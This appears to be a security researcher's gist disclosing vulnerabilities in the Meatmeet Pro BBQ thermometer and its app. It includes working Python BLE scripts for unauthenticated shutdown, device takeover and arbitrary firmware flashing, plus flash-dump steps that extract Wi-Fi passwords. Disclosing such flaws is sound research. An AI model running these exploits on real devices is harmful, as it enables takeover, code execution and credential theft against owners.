Skip to content

Instantly share code, notes, and snippets.

@dead1nfluence
Created December 5, 2025 12:56
Show Gist options
  • Select an option

  • Save dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5 to your computer and use it in GitHub Desktop.

Select an option

Save dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5 to your computer and use it in GitHub Desktop.

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

The mobile application is configured to allow clear text traffic to all domains and communicates with an API server over HTTP. As a result, an adversary located "upstream" can intercept the traffic, inspect its contents, and modify the requests in transit. This may result in a total compromise of the user's account if the attacker intercepts a request with active authentication tokens or cracks the MD5 hash sent on login.

References

  • CWE-319: Cleartext Transmission of Sensitive Information

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

An unauthenticated attacker within proximity of the Meatmeet device can issue several commands over Bluetooth Low Energy (BLE) to these devices which would result in a Denial of Service. These commands include: shutdown, restart, clear config. Clear config would disassociate the current device from its user and would require re-configuration to re-enable the device. As a result, the end user would be unable to receive updates from the Meatmeet base station which communicates with the cloud services until the device had been fixed or turned back on.

References

  • CWE-306: Missing Authentication for Critical Function

Replication Steps

  1. Save the MeatConnect Python script locally
  2. While in proximity of a Meatmeet Pro base station run the Python script.
  3. Select the device which contains MEBOX01 in the identifer.
  4. Issue the shutdown command by entering: shutdown

Results

The device is shutdown and no further updates are sent to the cloud, resulting in your delicious meal being burnt (what psycho would ever do such a thing??).

MeatConnect.py

import asyncio
import json
import time
import locale
from bleak import BleakScanner, BleakClient


SERVICE_UUID = "0000f5a0-0000-1000-8000-00805f9b34fb"
WRITE_CHAR_UUID = "0000f5a1-0000-1000-8000-00805f9b34fb"
NOTIFY_CHAR_UUID = "0000f5a1-0000-1000-8000-00805f9b34fb"


COMMANDS = {
    "restart": {
        "type": "write",
        "uuid": WRITE_CHAR_UUID,
        "payload": bytearray([0x4d, 0x45, 0x0b, 0x00]),
        "description": "Restart the device"
    },
    "remove_config": {
        "type": "write",
        "uuid": WRITE_CHAR_UUID,
        "payload": bytearray([0x4d, 0x45, 0x11, 0x00]),
        "description": "Remove configuration"
    },
    "shutdown": {
        "type": "write",
        "uuid": WRITE_CHAR_UUID,
        "payload": bytearray([0x4d, 0x45, 0x12, 0x00]),
        "description": "Shutdown the device"
    }
}

def handle_prompt_fields(cmd_meta):
    data = {}
    for field in cmd_meta.get("prompt", []):
        val = input(f"{field}: ")
        data[field.lower()] = val
    return data

def build_command(cmd_code, device_id, data=None):
    payload = {
        "c": cmd_code,
        "d": {"device_id": device_id}
    }
    if data:
        payload["d"].update(data)
    return json.dumps(payload).encode()

def notification_handler(sender, data):
    try:
        decoded_data = data.decode(errors='ignore')
        if decoded_data.startswith('c4'):
            print(f"[Notification] Wi-Fi Scan Result: {decoded_data}")
        elif decoded_data.startswith('c2'):
            print(f"[Notification] Wi-Fi Device Node ID: {decoded_data}")
        else:
            print(f"[Notification] From {sender}: {decoded_data}")
    except Exception as e:
        print(f"[Notification Error] Failed to process data: {e}")

async def scan_for_ble():
    print("Scanning for nearby BLE devices (5s)...")
    devices = await BleakScanner.discover(timeout=5.0)

    if not devices:
        print("[-] No devices found.")
        return None

    for i, device in enumerate(devices):
        name = device.name or "Unknown"
        print(f"[{i}] {name} ({device.address})")

    while True:
        try:
            choice = input("Select device to connect (number): ").strip()
            if choice.isdigit():
                index = int(choice)
                if 0 <= index < len(devices):
                    return devices[index].address
            print("Invalid selection. Try again.")
        except KeyboardInterrupt:
            print("\n[-] Aborted.")
            return None

def print_help():
    print("\nAvailable commands:")
    for cmd, meta in sorted(COMMANDS.items()):
        desc = meta.get("description", "No description")
        print(f"  {cmd}: {desc}")
    print("  help: Show this help message")
    print("  exit/quit: Disconnect and exit")
    print("  {raw JSON}: Send raw JSON payload")
    print()

def print_available_characteristics(client):
    print("\n[+] Available GATT Services and Characteristics:")
    for service in client.services:
        print(f"  [Service] {service.uuid}")
        for char in service.characteristics:
            props = ', '.join(char.properties)
            print(f"    └── [Char] {char.uuid} ({props})")
    print()

async def interact_with_device(address):
    async with BleakClient(address) as client:
        print("[*] Connected to", address)

        # Print all available characteristics
        print_available_characteristics(client)

        print("Successfully connected. What would you like to send? (type 'help' for options)")

        while True:
            try:
                user_input = input("> ").strip().lower()
                if not user_input:
                    continue
                if user_input in ("exit", "quit"):
                    break
                if user_input == "help":
                    print_help()
                    continue

                cmd_meta = COMMANDS.get(user_input)
                if not cmd_meta:
                    if user_input.startswith("{"):
                        payload = user_input.encode()
                        await client.write_gatt_char(WRITE_CHAR_UUID, payload)
                        print("[*] Raw JSON command sent.")
                    else:
                        print("[!] Unknown command. Type 'help' to list available commands.")
                    continue

                if cmd_meta.get("type") == "read":
                    value = await client.read_gatt_char(cmd_meta["uuid"])
                    print(f"[<] Read from {cmd_meta['uuid']}: {value.decode(errors='ignore')}")
                    continue

                if "prompt" in cmd_meta:
                    data = handle_prompt_fields(cmd_meta)
                    payload = build_command(user_input, DEVICE_ID, data)
                elif "payload_func" in cmd_meta:
                    payload = cmd_meta["payload_func"]()
                else:
                    payload = cmd_meta["payload"]

                await client.write_gatt_char(cmd_meta["uuid"], payload)
                print("[*] Command sent.")
            except KeyboardInterrupt:
                break
            except Exception as e:
                print("Error:", e)

        # Stop notifications before disconnecting
        try:
            await client.stop_notify(NOTIFY_CHAR_UUID)
            print(f"[*] Notifications stopped on {NOTIFY_CHAR_UUID}")
        except Exception as e:
            print(f"[!] Failed to stop notifications: {e}")
        print("Disconnected.")

async def main():
    address = await scan_for_ble()
    if not address:
        return
    await interact_with_device(address)

if __name__ == "__main__":
    asyncio.run(main())

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

An unauthenticated attacker within proximity of the Meatmeet device can issue a command over Bluetooth Low Energy (BLE) to these devices which would result in a Device Takeover. By sending a command to remove the config from the device, the attacker could then associate it with their own account and gain unauthorized access to the device. As a result, the end user would be unable to receive updates from the Meatmeet base station which communicates with the cloud services until the device had been factory reset.

References

  • CWE-306: Missing Authentication for Critical Function

Replication Steps

  1. Set up two accounts on the Meatmeet Mobile Application.
  2. Associate the device with Account 1.
  3. Save the MeatConnect Python script locally
  4. While in proximity of a Meatmeet Pro base station run the Python script.
  5. Select the device which contains MEBOX01 in the identifer.
  6. Issue the command to remove the device's config: remove_config
  7. On the mobile application, sign out from Account 1.
  8. Sign into Account 2.
  9. Add a New Device and select the Meatmeet within your proximity.

Results The Meatmeet is successfully paired to Account 2 and the device has been taken over from Account 1.

MeatConnect.py

import asyncio
import json
import time
import locale
from bleak import BleakScanner, BleakClient


SERVICE_UUID = "0000f5a0-0000-1000-8000-00805f9b34fb"
WRITE_CHAR_UUID = "0000f5a1-0000-1000-8000-00805f9b34fb"
NOTIFY_CHAR_UUID = "0000f5a1-0000-1000-8000-00805f9b34fb"


COMMANDS = {
      "remove_config": {
        "type": "write",
        "uuid": WRITE_CHAR_UUID,
        "payload": bytearray([0x4d, 0x45, 0x11, 0x00]),
        "description": "Remove configuration"
    }
}

def handle_prompt_fields(cmd_meta):
    data = {}
    for field in cmd_meta.get("prompt", []):
        val = input(f"{field}: ")
        data[field.lower()] = val
    return data

def build_command(cmd_code, device_id, data=None):
    payload = {
        "c": cmd_code,
        "d": {"device_id": device_id}
    }
    if data:
        payload["d"].update(data)
    return json.dumps(payload).encode()

def notification_handler(sender, data):
    try:
        decoded_data = data.decode(errors='ignore')
        if decoded_data.startswith('c4'):
            print(f"[Notification] Wi-Fi Scan Result: {decoded_data}")
        elif decoded_data.startswith('c2'):
            print(f"[Notification] Wi-Fi Device Node ID: {decoded_data}")
        else:
            print(f"[Notification] From {sender}: {decoded_data}")
    except Exception as e:
        print(f"[Notification Error] Failed to process data: {e}")

async def scan_for_ble():
    print("Scanning for nearby BLE devices (5s)...")
    devices = await BleakScanner.discover(timeout=5.0)

    if not devices:
        print("[-] No devices found.")
        return None

    for i, device in enumerate(devices):
        name = device.name or "Unknown"
        print(f"[{i}] {name} ({device.address})")

    while True:
        try:
            choice = input("Select device to connect (number): ").strip()
            if choice.isdigit():
                index = int(choice)
                if 0 <= index < len(devices):
                    return devices[index].address
            print("Invalid selection. Try again.")
        except KeyboardInterrupt:
            print("\n[-] Aborted.")
            return None

def print_help():
    print("\nAvailable commands:")
    for cmd, meta in sorted(COMMANDS.items()):
        desc = meta.get("description", "No description")
        print(f"  {cmd}: {desc}")
    print("  help: Show this help message")
    print("  exit/quit: Disconnect and exit")
    print("  {raw JSON}: Send raw JSON payload")
    print()

def print_available_characteristics(client):
    print("\n[+] Available GATT Services and Characteristics:")
    for service in client.services:
        print(f"  [Service] {service.uuid}")
        for char in service.characteristics:
            props = ', '.join(char.properties)
            print(f"    └── [Char] {char.uuid} ({props})")
    print()

async def interact_with_device(address):
    async with BleakClient(address) as client:
        print("[*] Connected to", address)

        # Print all available characteristics
        print_available_characteristics(client)

        print("Successfully connected. What would you like to send? (type 'help' for options)")

        while True:
            try:
                user_input = input("> ").strip().lower()
                if not user_input:
                    continue
                if user_input in ("exit", "quit"):
                    break
                if user_input == "help":
                    print_help()
                    continue

                cmd_meta = COMMANDS.get(user_input)
                if not cmd_meta:
                    if user_input.startswith("{"):
                        payload = user_input.encode()
                        await client.write_gatt_char(WRITE_CHAR_UUID, payload)
                        print("[*] Raw JSON command sent.")
                    else:
                        print("[!] Unknown command. Type 'help' to list available commands.")
                    continue

                if cmd_meta.get("type") == "read":
                    value = await client.read_gatt_char(cmd_meta["uuid"])
                    print(f"[<] Read from {cmd_meta['uuid']}: {value.decode(errors='ignore')}")
                    continue

                if "prompt" in cmd_meta:
                    data = handle_prompt_fields(cmd_meta)
                    payload = build_command(user_input, DEVICE_ID, data)
                elif "payload_func" in cmd_meta:
                    payload = cmd_meta["payload_func"]()
                else:
                    payload = cmd_meta["payload"]

                await client.write_gatt_char(cmd_meta["uuid"], payload)
                print("[*] Command sent.")
            except KeyboardInterrupt:
                break
            except Exception as e:
                print("Error:", e)

        # Stop notifications before disconnecting
        try:
            await client.stop_notify(NOTIFY_CHAR_UUID)
            print(f"[*] Notifications stopped on {NOTIFY_CHAR_UUID}")
        except Exception as e:
            print(f"[!] Failed to stop notifications: {e}")
        print("Disconnected.")

async def main():
    address = await scan_for_ble()
    if not address:
        return
    await interact_with_device(address)

if __name__ == "__main__":
    asyncio.run(main())

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

The firmware on the basestation of the Meatmeet is not encrypted. An adversary with physical access to the Meatmeet device can disassemble the device, connect over UART, and retrieve the firmware dump for analysis. Within the NVS partition they may discover the credentials of the current and previous Wi-Fi networks. This information could be used to gain unauthorized access to the victim's Wi-Fi network.

References

  • CWE-311: Missing Encryption of Sensitive Data

Replication Steps

  1. Disassemble the Meatmeet Pro, exposing its internal circuit board.
  2. Using probes and a USB-UART adapter, connect to the device over UART.
  3. Put the device into download mode by pulling IO9 low.
  4. In a terminal run the following command: esptool -p /dev/ttyUSB0 -b 460800 read-flash 0 ALL reflashed.bin
  5. To retrieve the Wi-Fi credentials stored on the device run: strings | grep <YOUR WIFI PASSWORD>

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

The Meatmeet Pro was found to be shipped with hardcoded Wi-Fi credentials in the firmware, for the test network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file.

References

  • CWE-798: Use of Hard-coded Credentials

Replication Steps

  1. Disassemble the Meatmeet Pro, exposing its internal circuit board.
  2. Using probes and a USB-UART adapter, connect to the device over UART.
  3. Put the device into download mode by pulling IO9 low.
  4. Dump the flash by running the following command in a terminal: esptool -p /dev/ttyUSB0 -b 460800 read-flash 0 ALL flashed.bin
  5. Extract the NVS partition from the flash dump: ./esp32knife.py --chip esp32c3 load_from_file flash.bin
  6. On the extracted NVS partition run: strings nvs_out.bin | grep "maxeye"

Results

The Wi-Fi password for the test network used by the vendor are returned in cleartext.

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

The mobile application was found to contain stored credentials for the network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file.

References

  • CWE-798: Use of Hard-coded Credentials

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

An exported activity can be spawned with the mobile application which opens a hidden page. This page, which is not available through the normal flows of the application, contains several devices which can be added to your account, two of which have not been publicly released. As a result of this vulnerability, the attacker can gain insight into unreleased Meatmeet devices.

References

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

The application uses an insecure hashing algorithm (MD5) to hash passwords. If an attacker obtained a copy of these hashes, either through exploiting cloud services, performing TLS downgrade attacks on the traffic from a mobile device, or through another means, they may be able to crack the hash in a reasonable amount of time and gain unauthorized access to the victim's account.

References

  • CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

The ESP32 system on a chip (SoC) that powers the Meatmeet Pro was found to have JTAG enabled. By leaving JTAG enabled on an ESP32 in a commercial product an attacker with physical access to the device can connect over this port and reflash the device's firmware with malicious code which will be executed upon running. As a result, the victim will lose access to the functionality of their device and the attack may gain unauthorized access to the victim's Wi-Fi network by re-connecting to the SSID defined in the NVS partition of the device.

References

  • CWE-693: Protection Mechanism Failure
  • CWE-1191: On-Chip Debug and Test Interface With Improper Access Control

Replication Steps

  1. Disassemble the Meatmeet Pro, exposing its internal circuit board.
  2. Using probes and a USB-UART adapter, connect to the device over UART.
  3. Put the device into download mode by pulling IO9 low.
  4. Using espefuse run: espefuse dump
  5. Observe that JTAG is still enabled on the device.

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

Due to a lack of certificate validation, all traffic from the mobile application can be intercepted. As a result, an adversary located "upstream" can decrypt the TLS traffic, inspect its contents, and modify the requests in transit. This may result in a total compromise of the user's account if the attacker intercepts a request with active authentication tokens or cracks the MD5 hash sent on login.

References

  • CWE-295: Improper Certificate Validation

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

An unauthenticated attacker within proximity of the Meatmeet device can perform an unauthorized Over The Air (OTA) firmware upgrade using Bluetooth Low Energy (BLE), resulting in the firmware on the device being overwritten with the attacker's code. As the device does not perform checks on upgrades, this results in Remote Code Execution (RCE) and the victim losing complete access to the Meatmeet.

References

  • CWE-306: Missing Authentication for Critical Function
  • CWE-494: Download of Code Without Integrity Check
  • CWE-345: Insufficient Verification of Data Authenticity

Replication Steps

  1. Save the Python script locally.
  2. Write custom firmware for an ESP32-C3 chip.
  3. While near a Meatmeet, run the Python script.
  4. Select the device with the name MEBOX01 in the identifer after the BLE scan has completed.
  5. In the terminal run: start_ota
  6. Provide the path to the custom firmware image.
  7. Allow for the firmware upgrade to complete.
  8. Once completed, type the following in the terminal: end_ota

Results

The Meatmeet thermometer base station will restart and execute whatever code was uploaded over BLE. The device can no longer function as intended and the custom code has executed.

BLE-BBQ-Botnet.py

import asyncio
import os
from bleak import BleakScanner, BleakClient

# BLE UUIDs from HubOtaManager.smali
OTA_SERVICE_UUID = "0000f5a0-0000-1000-8000-00805f9b34fb"
OTA_CONTROL_UUID = "f7bf3564-fb6d-4e53-88a4-5e37e0326063"
OTA_DATA_UUID = "984227f3-34fc-4045-a5d0-2c581f81a153"
INITIAL_MTU = 247  # Preferred MTU
DEFAULT_MTU = 200  # Fallback MTU
OTA_CONTROL_START_DELAY = 0.2  # 200ms
OTA_CONTROL_END_DELAY = 0.5   # 500ms

# OTA Commands
COMMANDS = {
    "check_ota": {
        "type": "check",
        "uuid": OTA_SERVICE_UUID,
        "description": "Check OTA service and characteristics"
    },
    "start_ota": {
        "type": "write",
        "uuid": OTA_CONTROL_UUID,
        "payload": bytearray([0x00]),
        "description": "Start OTA firmware update"
    },
    "send_firmware": {
        "type": "write",
        "uuid": OTA_DATA_UUID,
        "prompt": ["firmware_file"],
        "description": "Send firmware file in chunks (run 'start_ota' first)"
    },
    "end_ota": {
        "type": "write",
        "uuid": OTA_CONTROL_UUID,
        "payload": bytearray([0x03]),
        "description": "End OTA firmware update"
    }
}

async def scan_for_ble():
    print("Scanning for BLE devices (5s)...")
    devices = await BleakScanner.discover(timeout=5.0)
    if not devices:
        print("[-] No devices found.")
        return None
    for i, device in enumerate(devices):
        name = device.name or "Unknown"
        print(f"[{i}] {name} ({device.address})")
    while True:
        try:
            choice = input("Select device (number): ").strip()
            if choice.isdigit() and 0 <= int(choice) < len(devices):
                return devices[int(choice)].address
            print("Invalid selection.")
        except KeyboardInterrupt:
            print("\n[-] Aborted.")
            return None

def print_help():
    print("\nCommands:")
    for cmd, meta in sorted(COMMANDS.items()):
        print(f"  {cmd}: {meta['description']}")
    print("  help: Show this help")
    print("  exit/quit: Disconnect and exit")
    print("\nNote: Run 'check_ota', 'start_ota', 'send_firmware' (prompts for .bin/.gbl path), then 'end_ota'.")

def print_available_characteristics(client):
    print("\n[+] GATT Services and Characteristics:")
    notify_indicate_chars = []
    ota_service_found = False
    for service in client.services:
        print(f"  [Service] {service.uuid}")
        if service.uuid == OTA_SERVICE_UUID:
            ota_service_found = True
        for char in service.characteristics:
            props = ', '.join(char.properties)
            print(f"    └── [Char] {char.uuid} (Handle: {char.handle}, {props})")
            if 'notify' in char.properties or 'indicate' in char.properties:
                notify_indicate_chars.append((char.uuid, char.handle))
    return notify_indicate_chars, ota_service_found

def notification_handler(sender, data):
    try:
        hex_data = data.hex()
        ascii_data = data.decode(errors='ignore')
        char_uuid = sender_uuid.get(sender, "Unknown UUID")
        if len(data) == 1 and data[0] == 0x01:
            print(f"[Notification/Indication] OTA Success from {char_uuid} (Handle: {sender}): Hex={hex_data}")
        elif len(data) == 1 and data[0] in (0xFF, 0x02, 0x03):
            print(f"[Notification/Indication] OTA Failure from {char_uuid} (Handle: {sender}): Hex={hex_data}")
        else:
            print(f"[Notification/Indication] OTA Status from {char_uuid} (Handle: {sender}): ASCII={ascii_data}, Hex={hex_data}")
    except Exception as e:
        hex_data = data.hex()
        print(f"[Notification/Indication Error] from {sender_uuid.get(sender, 'Unknown UUID')} (Handle: {sender}): {e}, Hex={hex_data}")

async def interact_with_device(address):
    async with BleakClient(address, timeout=20.0) as client:
        print(f"[*] Connected to {address}")

        # Get MTU (triggers _acquire_mtu() in BlueZ backend)
        try:
            mtu = client.mtu_size
            if mtu < 23:
                print(f"[!] MTU {mtu} too low, using default {DEFAULT_MTU}")
                mtu = DEFAULT_MTU
            else:
                print(f"[*] MTU set to {mtu}")
        except AttributeError:
            print(f"[!] MTU unavailable, using default {DEFAULT_MTU}")
            mtu = DEFAULT_MTU

        # Subscribe to all notify/indicate characteristics
        notify_indicate_chars, ota_service_found = print_available_characteristics(client)
        global sender_uuid
        sender_uuid = {}
        for uuid, handle in notify_indicate_chars:
            try:
                await client.start_notify(uuid, notification_handler)
                sender_uuid[handle] = uuid
                print(f"[*] Notifications/Indications enabled on {uuid} (Handle: {handle})")
            except Exception as e:
                print(f"[!] Failed to enable notifications on {uuid} (Handle: {handle}): {e}")

        print("Connected. Type 'help' for commands.")
        while True:
            try:
                user_input = input("> ").strip().lower()
                if not user_input:
                    continue
                if user_input in ("exit", "quit"):
                    break
                if user_input == "help":
                    print_help()
                    continue

                cmd_meta = COMMANDS.get(user_input)
                if not cmd_meta:
                    print("[!] Unknown command. Type 'help'.")
                    continue

                if cmd_meta["type"] == "check":
                    if ota_service_found:
                        control_found = any(char.uuid == OTA_CONTROL_UUID for char in client.services.get_service(OTA_SERVICE_UUID).characteristics)
                        data_found = any(char.uuid == OTA_DATA_UUID for char in client.services.get_service(OTA_SERVICE_UUID).characteristics)
                        print(f"[*] OTA Check: Service={ota_service_found}, Control={control_found}, Data={data_found}")
                    else:
                        print("[-] OTA Service not found.")
                    continue

                if "prompt" in cmd_meta:
                    file_path = input("Firmware file path (e.g., firmware.bin): ").strip()
                    if not os.path.exists(file_path):
                        print("[-] File not found.")
                        continue
                    with open(file_path, 'rb') as f:
                        firmware_data = f.read()
                    chunk_size = mtu - 3
                    total_chunks = (len(firmware_data) + chunk_size - 1) // chunk_size
                    for i in range(0, len(firmware_data), chunk_size):
                        chunk = firmware_data[i:i + chunk_size]
                        if len(chunk) % 4 != 0:
                            chunk += b'\xFF' * (4 - len(chunk) % 4)
                        await client.write_gatt_char(cmd_meta["uuid"], chunk, response=False)
                        print(f"[*] Sent chunk {i // chunk_size + 1}/{total_chunks}")
                        await asyncio.sleep(0.1)
                    continue

                await client.write_gatt_char(cmd_meta["uuid"], cmd_meta["payload"], response=False)
                print("[*] Command sent.")
                if user_input == "start_ota":
                    await asyncio.sleep(OTA_CONTROL_START_DELAY)
                elif user_input == "end_ota":
                    await asyncio.sleep(OTA_CONTROL_END_DELAY)
            except Exception as e:
                print(f"Error: {e}")

        for uuid, handle in notify_indicate_chars:
            try:
                await client.stop_notify(uuid)
                print(f"[*] Notifications stopped on {uuid} (Handle: {handle})")
            except Exception as e:
                print(f"[!] Failed to stop notifications on {uuid} (Handle: {handle}): {e}")
        print("Disconnected.")

async def main():
    address = await scan_for_ble()
    if address:
        await interact_with_device(address)

if __name__ == "__main__":
    asyncio.run(main())

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

The ESP32 system on a chip (SoC) that powers the Meatmeet basestation device was found to lack Secure Boot. The Secure Boot feature ensures that only authenticated software can execute on the device. The Secure Boot process forms a chain of trust by verifying all mutable software entities involved in the Application Startup Flow.

As a result, an attacker with physical access to the device can flash modified firmware to the device, resulting in the execution of malicious code upon startup.

References

  • CWE-693: Protection Mechanism Failure

Replication Steps

  1. Disassemble the Meatmeet Pro, exposing its internal circuit board.
  2. Using probes and a USB-UART adapter, connect to the device over UART.
  3. Put the device into download mode by pulling IO9 low.
  4. Using espefuse run: espefuse dump
  5. Observe that Secure Boot is set to disabled on the device.

Affected Entity

  • Meatmeet Pro Mobile Application v1.1.2.0

Impact

The mobile application insecurely handles information stored within memory. By performing a memory dump on the application after a user has logged out and terminated it, Wi-Fi credentials sent during the pairing process, JWTs used for authentication, and other sensitive details can be retrieved. As a result, an attacker with physical access to the device of a victim can retrieve this information and gain unauthorized access to their home Wi-Fi network and Meatmeet account.

References

  • CWE-316: Cleartext Storage of Sensitive Information in Memory

Affected Entity

  • Meatmeet Pro BBQ Thermometer v1.0.34.4

Impact

As UART download mode is still enabled on the ESP32 chip on which the firmware runs, an adversary can dump the flash from the device and retrieve sensitive information such as details about the current and previous Wi-Fi network from the NVS partition. Additionally, this allows the adversary to reflash the device with their own firmware which may contain malicious modifications.

References

  • CWE-693: Protection Mechanism Failure
  • CWE-1191: On-Chip Debug and Test Interface With Improper Access Control

Replication Steps

  1. Disassemble the Meatmeet Pro, exposing its internal circuit board.
  2. Using probes and a USB-UART adapter, connect to the Meatmeet.
  3. Connect to the device over UART with picocom, where * is the number associated with your USB-UART adapter: sudo picocom /dev/ttyUSB* -b 115200
  4. Put the device into download mode by pulling IO9 low.
  5. The UART log will now display that the device is in download mode.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment